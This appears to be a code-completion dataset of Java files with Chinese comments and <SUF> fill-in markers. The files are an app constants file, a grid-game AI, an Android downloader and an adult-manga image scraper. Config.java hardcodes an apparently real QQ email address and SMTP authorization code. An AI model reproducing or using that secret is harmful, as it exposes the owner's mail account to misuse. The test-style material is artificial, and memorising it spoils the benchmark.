public static final String ABOUT_ME_STRING = "\t关于作者:北京化工大学 信管1701 赵洪苛\t";
/**
* 发件人的邮箱地址和密码
*/
public static final String SEND_EMAIL_ACCOUNT = "884101977@qq.com";
/**
* 授权码
*/
public static final String SEND_EMAIL_PASSWORD = "onmdbvtpkltrbdja";
/**
* 发件人邮箱的 SMTP 服务器地址
*/
public static final String SEND_EMAIL_SMTP_HOST = "smtp.qq.com";
/**
* BUCT收件人邮箱后缀,默认邮件仅支持北化邮箱注册。可根据需要定制第三方邮件发送器
*/
public static final String BUCT_MAIL_SUFFIX = "@mail.buct.edu.cn";
/**
* QQ邮箱后缀
*/
public static final String QQ_MAIL_SUFFIX = "@qq.com";
/**
* 网易邮箱后缀
*/
public static final String WANGYI_AIL_SUFFIX = "@163.com";
}
| EHENJOOM/PartManagement | src/constant/Config.java | 755 | /**
* 学生身份登录
*/ | block_comment | zh-cn | package constant;
/**
* @author 赵洪苛
* @date 2020/3/19 19:35
* @description 全局常量
*/
public class Config {
/**
* 学生身 <SUF>*/
public static final int USER_LOGIN = 0;
/**
* 老师身份登录
*/
public static final int ADMIN_LOGIN = 1;
/**
* 超级管理员身份登录
*/
public static final int SUPER_ADMIN_LOGIN = 2;
public static final String[] IDENTITY_LOGIN = {"用户", "管理员", "超级管理员"};
public static final String[] SEX = {"男", "女"};
/**
* 该项处于未选状态
*/
public static final int UNSELECTED = 0;
/**
* 该项已被选择
*/
public static final int SELECTED = 1;
/**
* 注册窗口
*/
public static final int REGISTER_DIALOG = 9;
/**
* 忘记密码窗口
*/
public static final int FORGET_PASSWORD_DIALOG = 10;
/**
* 验证码超时时间,此为1分钟
*/
public static final long VERIFY_CODE_TIME_OUT = 60000;
public static final int ORDER_STATUS_AUDIT = 401;
public static final int ORDER_STATUS_REFUSE_AUDIT = 402;
public static final int ORDER_STATUS_UNPAID = 403;
public static final int ORDER_STATUS_PAID = 404;
public static final int ORDER_STATUS_DELIVERY = 405;
public static final int ORDER_STATUS_TRANSPORTING = 406;
public static final int ORDER_STATUS_COMPLETED = 407;
public static final String[] ORDER_STATUS = {"待审核", "审核未通过", "待支付", "已支付", "待发货", "运输中", "已完成"};
public static final String DATABASE_CONNECT_FAILED_STRING = "数据库连接失败,请稍后再试!";
/**
* 关于作者
*/
public static final String ABOUT_ME_STRING = "\t关于作者:北京化工大学 信管1701 赵洪苛\t";
/**
* 发件人的邮箱地址和密码
*/
public static final String SEND_EMAIL_ACCOUNT = "884101977@qq.com";
/**
* 授权码
*/
public static final String SEND_EMAIL_PASSWORD = "onmdbvtpkltrbdja";
/**
* 发件人邮箱的 SMTP 服务器地址
*/
public static final String SEND_EMAIL_SMTP_HOST = "smtp.qq.com";
/**
* BUCT收件人邮箱后缀,默认邮件仅支持北化邮箱注册。可根据需要定制第三方邮件发送器
*/
public static final String BUCT_MAIL_SUFFIX = "@mail.buct.edu.cn";
/**
* QQ邮箱后缀
*/
public static final String QQ_MAIL_SUFFIX = "@qq.com";
/**
* 网易邮箱后缀
*/
public static final String WANGYI_AIL_SUFFIX = "@163.com";
}
| 0 | 25 | 0 |
29762_1 | package Ai;
import control.GameControl;
import dto.GameInfo;
import dto.Grassman;
import music.Player;
public class Ai {
private GameControl gameControl;
private GameInfo info;
private Grassman aiMan;
private int moveDirection;
private int offendDirection;
public Ai(GameControl gameControl){
this.gameControl = gameControl;
}
/*
* 默认先移动后攻击
*/
public void judgeAction(){
//获取游戏信息
this.info=gameControl.getGameInfo();
//获得当前人物
this.aiMan=gameControl.getGrassman();
//随机移动方向 0 1 2 3 上 下 左 右
moveDirection=(int) (Math.random() * 4);
doAction(moveDirection);
//攻击方向
//随机攻击方向4 5 6 7 上 下 左 右
offendDirection=(int) (Math.random() * 4+4);
//判断四个方向是否有敌人
if(isExistUpEnemy(this.gameControl.judgeWeapon())){
offendDirection=4;
}
if(isExistDownEnemy(this.gameControl.judgeWeapon())){
offendDirection=5;
}
if(isExistLeftEnemy(this.gameControl.judgeWeapon())){
offendDirection=6;
}
if(isExistRightEnemy(this.gameControl.judgeWeapon())){
offendDirection=7;
}
doAction(offendDirection);
}
/*
* 判断攻击范围内是否有敌人
*/
private boolean isExistUpEnemy(int weapon){
//向上有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() + aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getXPosition() +aiMan.getOx()[weapon][i] > 9
|| this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
private boolean isExistDownEnemy(int weapon){
//向下有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() - aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getXPosition() -aiMan.getOx()[weapon][i] > 9
|| this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
private boolean isExistLeftEnemy(int weapon){
//向左有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() - aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getXPosition() -aiMan.getOy()[weapon][i] > 9
|| this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
private boolean isExistRightEnemy(int weapon){
//向右有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() + aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getXPosition() +aiMan.getOy()[weapon][i] > 9
|| this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
public void doAction(int cmd){
Player.playSound("攻击");
switch(cmd){
case 0:
if (this.gameControl.canMove()) {
this.gameControl.KeyUp();
// System.out.println(0);
}
break;
case 1:
if (this.gameControl.canMove()) {
this.gameControl.KeyDown();
// System.out.println(1);
}
break;
case 2:
if (this.gameControl.canMove()) {
this.gameControl.KeyLeft();
// System.out.println(2);
}
break;
case 3:
if (this.gameControl.canMove()) {
this.gameControl.KeyRight();
// System.out.println(3);
}
case 4:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendUp();
// System.out.println(4);
}
break;
case 5:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendDown();
// System.out.println(5);
}
break;
case 6:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendLeft();
// System.out.println(6);
}
break;
case 7:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendRight();
// System.out.println(7);
}
break;
default: System.out.println("出错啦! 你这个大笨蛋!"); break;
}
}
}
| ELCyber/GrassCraft | src/Ai/Ai.java | 2,176 | //获取游戏信息 | line_comment | zh-cn | package Ai;
import control.GameControl;
import dto.GameInfo;
import dto.Grassman;
import music.Player;
public class Ai {
private GameControl gameControl;
private GameInfo info;
private Grassman aiMan;
private int moveDirection;
private int offendDirection;
public Ai(GameControl gameControl){
this.gameControl = gameControl;
}
/*
* 默认先移动后攻击
*/
public void judgeAction(){
//获取 <SUF>
this.info=gameControl.getGameInfo();
//获得当前人物
this.aiMan=gameControl.getGrassman();
//随机移动方向 0 1 2 3 上 下 左 右
moveDirection=(int) (Math.random() * 4);
doAction(moveDirection);
//攻击方向
//随机攻击方向4 5 6 7 上 下 左 右
offendDirection=(int) (Math.random() * 4+4);
//判断四个方向是否有敌人
if(isExistUpEnemy(this.gameControl.judgeWeapon())){
offendDirection=4;
}
if(isExistDownEnemy(this.gameControl.judgeWeapon())){
offendDirection=5;
}
if(isExistLeftEnemy(this.gameControl.judgeWeapon())){
offendDirection=6;
}
if(isExistRightEnemy(this.gameControl.judgeWeapon())){
offendDirection=7;
}
doAction(offendDirection);
}
/*
* 判断攻击范围内是否有敌人
*/
private boolean isExistUpEnemy(int weapon){
//向上有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() + aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getXPosition() +aiMan.getOx()[weapon][i] > 9
|| this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
private boolean isExistDownEnemy(int weapon){
//向下有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() - aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getXPosition() -aiMan.getOx()[weapon][i] > 9
|| this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
private boolean isExistLeftEnemy(int weapon){
//向左有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() - aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getXPosition() -aiMan.getOy()[weapon][i] > 9
|| this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
private boolean isExistRightEnemy(int weapon){
//向右有敌人
for (int i = 0; i < 7; i++) {
if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) {
// 该判断为攻击范围是否越界
if (this.aiMan.getXPosition() + aiMan.getOy()[weapon][i] < 0
|| this.aiMan.getXPosition() +aiMan.getOy()[weapon][i] > 9
|| this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] < 0
|| this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] > 9) {
continue;
}
if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] < 4)
&& (info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] > 0))
{
return true;
} else {
return false;
}
}
}
return false;
}
public void doAction(int cmd){
Player.playSound("攻击");
switch(cmd){
case 0:
if (this.gameControl.canMove()) {
this.gameControl.KeyUp();
// System.out.println(0);
}
break;
case 1:
if (this.gameControl.canMove()) {
this.gameControl.KeyDown();
// System.out.println(1);
}
break;
case 2:
if (this.gameControl.canMove()) {
this.gameControl.KeyLeft();
// System.out.println(2);
}
break;
case 3:
if (this.gameControl.canMove()) {
this.gameControl.KeyRight();
// System.out.println(3);
}
case 4:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendUp();
// System.out.println(4);
}
break;
case 5:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendDown();
// System.out.println(5);
}
break;
case 6:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendLeft();
// System.out.println(6);
}
break;
case 7:
if(this.gameControl.canOffend()){
this.gameControl.KeyOffendRight();
// System.out.println(7);
}
break;
default: System.out.println("出错啦! 你这个大笨蛋!"); break;
}
}
}
| 1 | 8 | 1 |
57884_2 | package io.github.emanual.app.ui;
import android.app.ProgressDialog;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.Toolbar;
import android.widget.Toast;
import com.loopj.android.http.AsyncHttpResponseHandler;
import java.io.File;
import java.io.IOException;
import java.util.List;
import butterknife.Bind;
import cz.msebera.android.httpclient.Header;
import de.greenrobot.event.EventBus;
import de.greenrobot.event.Subscribe;
import de.greenrobot.event.ThreadMode;
import io.github.emanual.app.R;
import io.github.emanual.app.api.EmanualAPI;
import io.github.emanual.app.entity.FeedsItemEntity;
import io.github.emanual.app.ui.adapter.FeedsListAdapter;
import io.github.emanual.app.ui.base.activity.SwipeRefreshActivity;
import io.github.emanual.app.ui.event.InterviewDownloadEndEvent;
import io.github.emanual.app.ui.event.InterviewDownloadFaildEvent;
import io.github.emanual.app.ui.event.InterviewDownloadProgressEvent;
import io.github.emanual.app.ui.event.InterviewDownloadStartEvent;
import io.github.emanual.app.ui.event.UnPackFinishEvent;
import io.github.emanual.app.utils.AppPath;
import io.github.emanual.app.utils.SwipeRefreshLayoutUtils;
import io.github.emanual.app.utils.ZipUtils;
import timber.log.Timber;
public class InterviewFeedsActivity extends SwipeRefreshActivity {
ProgressDialog mProgressDialog;
@Bind(R.id.recyclerView) RecyclerView recyclerView;
@Override protected void initData(Bundle savedInstanceState) {
}
@Override protected void initLayout(Bundle savedInstanceState) {
setSupportActionBar((Toolbar) findViewById(R.id.toolbar));
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
getSupportActionBar().setTitle(R.string.acty_feeds_list);
mProgressDialog = new ProgressDialog(getContext());
mProgressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
recyclerView.setLayoutManager(new LinearLayoutManager(getContext()));
fetchData();
}
@Override protected int getContentViewId() {
return R.layout.acty_interview_feeds;
}
@Override public void onRefresh() {
// EmanualAPI.getIn
fetchData();
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadStart(InterviewDownloadStartEvent event) {
mProgressDialog.setTitle("正在下载..");
mProgressDialog.setProgress(0);
mProgressDialog.setMax(100);
mProgressDialog.show();
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadProgress(InterviewDownloadProgressEvent event) {
Timber.d(event.getBytesWritten() + "/" + event.getTotalSize());
mProgressDialog.setMessage(String.format("大小:%.2f M", 1.0 * event.getTotalSize() / 1024 / 1024));
mProgressDialog.setMax((int) event.getTotalSize());
mProgressDialog.setProgress((int) event.getBytesWritten());
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadFaild(InterviewDownloadFaildEvent event) {
Toast.makeText(getContext(), "出错了,错误码:" + event.getStatusCode(), Toast.LENGTH_LONG).show();
mProgressDialog.dismiss();
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadEnd2(InterviewDownloadEndEvent event) {
mProgressDialog.setTitle("正在解压..");
}
/**
* 下载完毕
* @param event
*/
@Subscribe(threadMode = ThreadMode.Async)
public void onDownloadEnd(InterviewDownloadEndEvent event) {
try {
ZipUtils.unZipFiles(event.getFile().getAbsolutePath(), AppPath.getInterviewsPath(getContext()) + File.separator + event.getFeedsItemEntity().getName() + File.separator);
//删除压缩包
if (event.getFile().exists()) {
event.getFile().delete();
}
} catch (IOException e) {
e.printStackTrace();
EventBus.getDefault().post(new UnPackFinishEvent(e));
return;
}
EventBus.getDefault().post(new UnPackFinishEvent(null));
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onUnpackFinishEvent(UnPackFinishEvent event) {
if (event.getException() != null) {
toast(event.getException().getMessage());
return;
}
toast("下载并解压成功");
mProgressDialog.dismiss();
}
private void fetchData() {
EmanualAPI.getInterviewFeeds(new AsyncHttpResponseHandler() {
@Override public void onStart() {
super.onStart();
SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), true);
}
@Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) {
try {
List<FeedsItemEntity> feeds = FeedsItemEntity.createByJSONArray(new String(responseBody), FeedsItemEntity.class);
Timber.d(feeds.toString());
recyclerView.setAdapter(new FeedsListAdapter(getContext(), feeds, FeedsListAdapter.TYPE_INTERVIEW));
} catch (Exception e) {
toast("哎呀,网络异常!");
}
}
@Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {
}
@Override public void onFinish() {
super.onFinish();
SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), false);
}
@Override public void onProgress(long bytesWritten, long totalSize) {
super.onProgress(bytesWritten, totalSize);
}
});
}
}
| EManual/EManual-Android | app/src/main/java/io/github/emanual/app/ui/InterviewFeedsActivity.java | 1,433 | //删除压缩包 | line_comment | zh-cn | package io.github.emanual.app.ui;
import android.app.ProgressDialog;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.Toolbar;
import android.widget.Toast;
import com.loopj.android.http.AsyncHttpResponseHandler;
import java.io.File;
import java.io.IOException;
import java.util.List;
import butterknife.Bind;
import cz.msebera.android.httpclient.Header;
import de.greenrobot.event.EventBus;
import de.greenrobot.event.Subscribe;
import de.greenrobot.event.ThreadMode;
import io.github.emanual.app.R;
import io.github.emanual.app.api.EmanualAPI;
import io.github.emanual.app.entity.FeedsItemEntity;
import io.github.emanual.app.ui.adapter.FeedsListAdapter;
import io.github.emanual.app.ui.base.activity.SwipeRefreshActivity;
import io.github.emanual.app.ui.event.InterviewDownloadEndEvent;
import io.github.emanual.app.ui.event.InterviewDownloadFaildEvent;
import io.github.emanual.app.ui.event.InterviewDownloadProgressEvent;
import io.github.emanual.app.ui.event.InterviewDownloadStartEvent;
import io.github.emanual.app.ui.event.UnPackFinishEvent;
import io.github.emanual.app.utils.AppPath;
import io.github.emanual.app.utils.SwipeRefreshLayoutUtils;
import io.github.emanual.app.utils.ZipUtils;
import timber.log.Timber;
public class InterviewFeedsActivity extends SwipeRefreshActivity {
ProgressDialog mProgressDialog;
@Bind(R.id.recyclerView) RecyclerView recyclerView;
@Override protected void initData(Bundle savedInstanceState) {
}
@Override protected void initLayout(Bundle savedInstanceState) {
setSupportActionBar((Toolbar) findViewById(R.id.toolbar));
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
getSupportActionBar().setTitle(R.string.acty_feeds_list);
mProgressDialog = new ProgressDialog(getContext());
mProgressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
recyclerView.setLayoutManager(new LinearLayoutManager(getContext()));
fetchData();
}
@Override protected int getContentViewId() {
return R.layout.acty_interview_feeds;
}
@Override public void onRefresh() {
// EmanualAPI.getIn
fetchData();
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadStart(InterviewDownloadStartEvent event) {
mProgressDialog.setTitle("正在下载..");
mProgressDialog.setProgress(0);
mProgressDialog.setMax(100);
mProgressDialog.show();
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadProgress(InterviewDownloadProgressEvent event) {
Timber.d(event.getBytesWritten() + "/" + event.getTotalSize());
mProgressDialog.setMessage(String.format("大小:%.2f M", 1.0 * event.getTotalSize() / 1024 / 1024));
mProgressDialog.setMax((int) event.getTotalSize());
mProgressDialog.setProgress((int) event.getBytesWritten());
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadFaild(InterviewDownloadFaildEvent event) {
Toast.makeText(getContext(), "出错了,错误码:" + event.getStatusCode(), Toast.LENGTH_LONG).show();
mProgressDialog.dismiss();
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onDownloadEnd2(InterviewDownloadEndEvent event) {
mProgressDialog.setTitle("正在解压..");
}
/**
* 下载完毕
* @param event
*/
@Subscribe(threadMode = ThreadMode.Async)
public void onDownloadEnd(InterviewDownloadEndEvent event) {
try {
ZipUtils.unZipFiles(event.getFile().getAbsolutePath(), AppPath.getInterviewsPath(getContext()) + File.separator + event.getFeedsItemEntity().getName() + File.separator);
//删除 <SUF>
if (event.getFile().exists()) {
event.getFile().delete();
}
} catch (IOException e) {
e.printStackTrace();
EventBus.getDefault().post(new UnPackFinishEvent(e));
return;
}
EventBus.getDefault().post(new UnPackFinishEvent(null));
}
@Subscribe(threadMode = ThreadMode.MainThread)
public void onUnpackFinishEvent(UnPackFinishEvent event) {
if (event.getException() != null) {
toast(event.getException().getMessage());
return;
}
toast("下载并解压成功");
mProgressDialog.dismiss();
}
private void fetchData() {
EmanualAPI.getInterviewFeeds(new AsyncHttpResponseHandler() {
@Override public void onStart() {
super.onStart();
SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), true);
}
@Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) {
try {
List<FeedsItemEntity> feeds = FeedsItemEntity.createByJSONArray(new String(responseBody), FeedsItemEntity.class);
Timber.d(feeds.toString());
recyclerView.setAdapter(new FeedsListAdapter(getContext(), feeds, FeedsListAdapter.TYPE_INTERVIEW));
} catch (Exception e) {
toast("哎呀,网络异常!");
}
}
@Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {
}
@Override public void onFinish() {
super.onFinish();
SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), false);
}
@Override public void onProgress(long bytesWritten, long totalSize) {
super.onProgress(bytesWritten, totalSize);
}
});
}
}
| 1 | 7 | 1 |
40957_21 | package com.cn.main;
import com.cn.util.HttpClientUtil;
import org.apache.commons.io.FileUtils;
import org.apache.http.HttpEntity;
import org.apache.http.HttpHost;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.select.Elements;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
public class nyaPictureMain {
//存放目录
private static String fileSource = "E://nyaManhua//new//";
public static void main(String[] args) throws Exception {
List<String> urlList = new ArrayList<String>();
//地址
urlList.add("https://zha.doghentai.com/g/338012/");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
nyaPictureMain.crawlerNyaUrl(urlList);
String exSite = "cmd /c start " + fileSource ;
Runtime.getRuntime().exec(exSite);
}
public static void crawlerNyaPic(int picSum,String fileUrl,String intputFile,String suffix){
try {
for (int i = 1; i <= picSum; i++) {
// suffix = ".jpg"; //随时替换文件格式
CloseableHttpClient httpClient = HttpClients.createDefault(); // 创建HttpClient实例
HttpGet httpGet = new HttpGet(fileUrl+i+suffix); // 创建Httpget实例
//设置Http报文头信息
httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
httpGet.setHeader("accept", "image/avif,image/webp,image/apng,image/*,*/*;q=0.8");
httpGet.setHeader("accept-encoding", "gzip, deflate, br");
httpGet.setHeader("referer", "https://zha.doghentai.com/");
httpGet.setHeader("sec-fetch-dest", "image");
httpGet.setHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8");
HttpHost proxy = new HttpHost("127.0.0.1", 7890);
//超时时间单位为毫秒
RequestConfig defaultRequestConfig = RequestConfig.custom()
.setConnectTimeout(1000).setSocketTimeout(30000)
.setProxy(proxy).build();
httpClient = HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
CloseableHttpResponse response = null;
response = httpClient.execute(httpGet); // 执行http get请求
HttpEntity entity = response.getEntity(); // 获取返回实体
if(null != entity){
InputStream inputStream = entity.getContent();//返回一个输入流
//输出图片
FileUtils.copyInputStreamToFile(inputStream, new File(intputFile+i+suffix));//引用org.apache.commons.io.FileUtils
System.out.println(i+suffix);
}
response.close(); // 关闭response
httpClient.close(); // 关闭HttpClient实体
}
}catch (Exception e){
System.out.println(e);
}
}
public static void crawlerNyaUrl(List<String> urlList) throws Exception {
Integer rateDow = 1;
for(String url:urlList){
String html = "";
if(url.length() != 0){
html = HttpClientUtil.getSource(url);
Document document = Jsoup.parse(html);
Element element = document.selectFirst("div.container").selectFirst("a");
String coverImgUrl = element.select("img").attr("data-src");
//获取图片载点
String[] ourStr = coverImgUrl.split("/");
//获取后缀
String[] oursuffix = coverImgUrl.split("\\.");
//获取数量
Elements picSum = document.select("div.thumb-container");
//获取本子名字
String benziName = element.select("img").attr("alt");
benziName = benziName.replaceAll("\\?","").replaceAll(":","").replaceAll(" ","").replaceAll("\\*","");
int count = picSum.size();
int benziN = Integer.parseInt(ourStr[ourStr.length-2]);
String suffix = "."+oursuffix[oursuffix.length-1];
String fileUrl = "https://i0.nyacdn.com/galleries/"+benziN+"/";
String intputFile = fileSource +benziName +"//";
nyaPictureMain.crawlerNyaPic(count,fileUrl,intputFile,suffix);
//缓存完后暂停几秒
Thread.sleep(3000);
}
}
System.out.println("喵变态图片缓存成功!!!!");
}
}
| ERYhua/nyaHentaiCrawler | src/main/java/com/cn/main/nyaPictureMain.java | 1,357 | //缓存完后暂停几秒 | line_comment | zh-cn | package com.cn.main;
import com.cn.util.HttpClientUtil;
import org.apache.commons.io.FileUtils;
import org.apache.http.HttpEntity;
import org.apache.http.HttpHost;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.select.Elements;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
public class nyaPictureMain {
//存放目录
private static String fileSource = "E://nyaManhua//new//";
public static void main(String[] args) throws Exception {
List<String> urlList = new ArrayList<String>();
//地址
urlList.add("https://zha.doghentai.com/g/338012/");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
urlList.add("");
nyaPictureMain.crawlerNyaUrl(urlList);
String exSite = "cmd /c start " + fileSource ;
Runtime.getRuntime().exec(exSite);
}
public static void crawlerNyaPic(int picSum,String fileUrl,String intputFile,String suffix){
try {
for (int i = 1; i <= picSum; i++) {
// suffix = ".jpg"; //随时替换文件格式
CloseableHttpClient httpClient = HttpClients.createDefault(); // 创建HttpClient实例
HttpGet httpGet = new HttpGet(fileUrl+i+suffix); // 创建Httpget实例
//设置Http报文头信息
httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
httpGet.setHeader("accept", "image/avif,image/webp,image/apng,image/*,*/*;q=0.8");
httpGet.setHeader("accept-encoding", "gzip, deflate, br");
httpGet.setHeader("referer", "https://zha.doghentai.com/");
httpGet.setHeader("sec-fetch-dest", "image");
httpGet.setHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8");
